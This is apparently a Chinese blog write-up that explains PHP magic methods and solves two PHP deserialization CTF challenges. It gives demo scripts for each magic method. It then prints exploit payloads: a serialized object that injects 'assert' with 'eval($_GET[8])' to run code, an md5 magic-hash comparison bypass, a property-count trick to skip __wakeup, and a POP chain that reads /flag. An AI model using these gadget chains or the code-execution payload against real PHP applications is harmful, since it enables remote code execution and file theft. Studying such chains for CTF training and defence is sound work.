UnserializeOne

前置知识:

1.关于魔术方法:

__construct(),类的构造函数

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

重新一个一个深入了解:

1.__construct__destruct

__construct 当一个对象创建时自动调用

__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)

<?php
  Class User{
  public $id;
	public $name;
	public function __construct()
  {
    echo($this->name->first);
  }
}

Class Password{
  public $first="first";
	public $second="second";

}

$a = new User();
$a->name = new Password();

结果:报错

Notice: Trying to get property of non-object in D:\wamp\www\test\4.php on line 7

PHP Notice: Trying to get property of non-object in D:\wamp\www\test\4.php on line 7

为什么?我们要了解代码执行的顺序。

1.>>>我们实例化User() 赋值给$a.

2.>>>实例化的同时,对象创建,就会执行构造方法__construct(这个时候还没有执行18行,是引用不到类Password的)

3.>>>执行$a->name = new Password();

如果是__destruct

<?php
Class User{
    public $id;
    public $name;
    public function __destruct()
    {
        echo($this->name->first);
    }
}

Class Password{
    public $first="first";
    public $second="second";

}

$a = new User();
$a->name = new Password();

结果:

first

代码执行顺序:

1.>>>我们实例化User() 赋值给$a.

2.>>>执行$a->name = new Password();

3.>>>这个时候$a里面的属性name已经实例化Password()

2.__call

__call() 在对象上下文中调用不可访问的方法时触发

<?php

Class User{
    public $id;
    public $name;
    public function __call($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]"."\n";
    }


}

Class Password{
    public $first;
    public $second;
    public function __destruct(){
        $this->first->noexist("Test");
    }
}

$a = new Password();
$a->first = new User();

结果:

noexist,Test

注意:这里要触发__call是要对象调用不可访问的方法!!!

如果添加这样的代码是触发不了的:

<?php

Class User{
    public $id;
    public $name;
    public function __call($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]"."\n";
    }


}

Class Password{
    public $first;
    public $second;
    public function __destruct(){
        $this->second=new Test();  // 新添加
        $this->second->noexist("Test"); // 新修改
    }
}
Class Test{} // 新添加

$a = new Password();
$a->first = new User();

这个链子必须跟着要触发的魔术方法,就是这里必须是实例化User的不可访问的方法

3.__callStatic()

__callStatic(),用静态方式中调用一个不可访问方法时调用

访问静态成员用::

在PHP中双冒号 (::)操作符是一种范围解析操作符,又作用域限定操作符。 它是对类中的方法的静态 ( static) 引用,可以访问静态、const和类中重写的属性与方法。 php调用类的内部静态成员,或者是类之间调用就要用两个冒号 (::)。

和上面的那个例子几乎一样,区别就是 ::

<?php

Class User{
    public $id;
    public $name;
    public static function __callStatic($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]"."\n";
    }


}

Class Password{
    public $first;
    public $second;
    public function __destruct(){
        $this->first::noexist("Test");
    }
}

$a = new Password();
$a->first = new User();

结果:

noexist,Test

4.__get()

__get() 用于从不可访问的属性读取数据//调用私有属性时使用 // 不存在调用

和__call如出一辙,只不过函数换成值:

<?php

Class User{
    public $id;
    public $name;
    public  function __get($arg)
    {
        echo "__get success"."\n$arg";
    }


}

Class Password{
    public $first;
    public $second;
    public function __destruct(){

        $this->first->noexist;
    }
}


$a = new Password();
$a->first = new User();

结果:

__get success

noexist

注意点和__call一样

5.__set

__set() 用于将数据写入不可访问的属性 给一个未定义的属性赋值时,此方法会被触发,传递的参数是被设置的属性名和值 // 不存在赋值

<?php

Class User{
    public $id;
    public $name;
    public  function __set($arg1,$arg2)
    {
        echo "__set success"."\n$arg1,$arg2";
    }


}

Class Password{
    public $first;
    public $second;
    public function __destruct(){

        $this->first->noexist="1";
    }
}


$a = new Password();
$a->first = new User();

结果:

__set success

noexist,1

6.__isset()

__isset() 在不可访问的属性上调用isset()或empty()触发

<?php
error_reporting();
Class User{
    public $id;
    public $name;
    public  function __isset($arg)
    {
        echo "__isset success"."\n$arg";
    }


}

Class Password{
    public $first;
    public $second;
    public function __destruct(){
        isset($this->first->noexist);
    }
}


$a = new Password();
$a->first = new User();

结果:

__isset success

noexist

7.__unset()

<?php
error_reporting();
Class User{
    public $id;
    public $name;
    public  function __unset($arg)
    {
        echo "__unset() success"."\n$arg";
    }


}

Class Password{
    public $first;
    public $second;
    public function __destruct(){
        unset($this->first->noexist);
    }
}


$a = new Password();
$a->first = new User();

结果:

__unset() success

noexist

8.__sleep

<?php
class User{
    const SITE = 'uusama';

    public $username;
    public $nickname;
    private $password;

    public function __construct($username, $nickname, $password)
    {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }

    // 重载序列化调用的方法
    public function __sleep()
    {
        // 返回需要序列化的变量名,过滤掉password变量
        return array('username', 'nickname');
    }

}
$user = new User('a', 'b', 'c');
echo serialize($user);

用参考文献的例子.可以过滤掉Password变量

结果:

O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

9.__wakeup()

这个方法主要还是讲绕过吧。

 <?php
error_reporting(0);
class dxg
{
   function fmm()
   {
      return "nonono";
   }
}

class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()
   {
      $this->impo = new dxg;
   }
   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

   function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct()
   {
      echo $this;
   }
}

class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

拿 SWPU NSS新生赛 一道题做演示。

很明显这里是要利用 $b($this->title); 这一句构造一句话木马的。

有两个地方调用了fmm()这个函数,但是__wakeup魔术方法会把实例化引向Class dxg里面,我们想要是再class fin里面。只能利用__toString。至于__construct这个魔术方法里面的实例化的对象我们是可以控制的,所以payload如下:

<?php
class lt
{
    public $impo;
    public $md51='weclome';
    public $md52='to NSS';
    function __construct()
    {
        $this->impo = new fin;
    }
    function __toString()
    { 
        if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
            return "aa";
    }
}

class fin
{
    public $a;
    public $url = 'https://www.ctfer.vip';
    public $title;
    function fmm()
    {
        $b = $this->a;
        $b($this->title);
    }
}
$a = new lt();
$a->md51="240610708";
$a->md52="QNKCDZO";
$a->impo->a="assert";
$a->impo->title="eval(\$_GET[8])";
$str = serialize($a);
$str1 = preg_replace("/:3:{s:4:/",":4:{s:4:",$str); //绕过wakeup
echo urlencode($str1);

只要把对象成员改大,就可以绕过__wakeup。只不过这个绕过方法有php的版本限制。

O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"assert";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:14:"eval($_GET[8])";}s:4:"md51";s:9:"240610708";s:4:"md52";s:7:"QNKCDZO";}
O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"assert";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:14:"eval($_GET[8])";}s:4:"md51";s:9:"240610708";s:4:"md52";s:7:"QNKCDZO";}

区别就是把o的成员改大。

10.__toString()

当一个对象被当作一个字符串被调用。

<?php

Class User{
    public $id;
    public $name;
    public function __toString(){
        return "qingfeng";
    }


}

Class Password{
    public $first;
    public $second;
    public function __destruct(){
        echo $this->first;
    }

}

$a = new Password();
$a->first = new User();

结果:

qingfeng

11.__invoke

当脚本尝试将对象调用为函数时触发 魔术方法__invoke被自动调用的条件是类被当成一个函数被调用

<?php

Class User{
    public $id;
    public $name;
    public function __invoke(){
        echo "__invoke";
    }


}

Class Password{
    public $first;
    public $second;
    public function __destruct(){
        ($this->first)();
    }

}

$a = new Password();
$a->first = new User();

结果:

__invoke

12.__clone

<?php

Class User{
    public $id;
    public $name;
    public function __clone(){
        echo "__clone";
    }


}

Class Password{
    public $first;
    public $second;
    public function __destruct(){
        $this->second = clone($this->first);
    }

}

$a = new Password();
$a->first = new User();

结果:

__clone

小结

总算是非常非常明白地搞懂了这个序列化的东西了,现在回头来看这个题目就感觉非常简单了。

解题

 <?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

题目给了源码,我们先找终点。

链子:

file_get_contents->__invoke->__isset->__clone->__call->__toString->__destruct;

payload:

<?php
error_reporting(0);
class Start{
    public $name;
    public $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    public $obj;
    public $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}
$a = new Start();
$a->name = new Sec();
$a->name->obj = new Easy();
$a->name->var = new eeee();
$a->name->var->obj = new Start();
$a->name->var->obj->func = new Sec();
echo (serialize($a));

参考文献

PHP反序列化研究 - 知乎

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值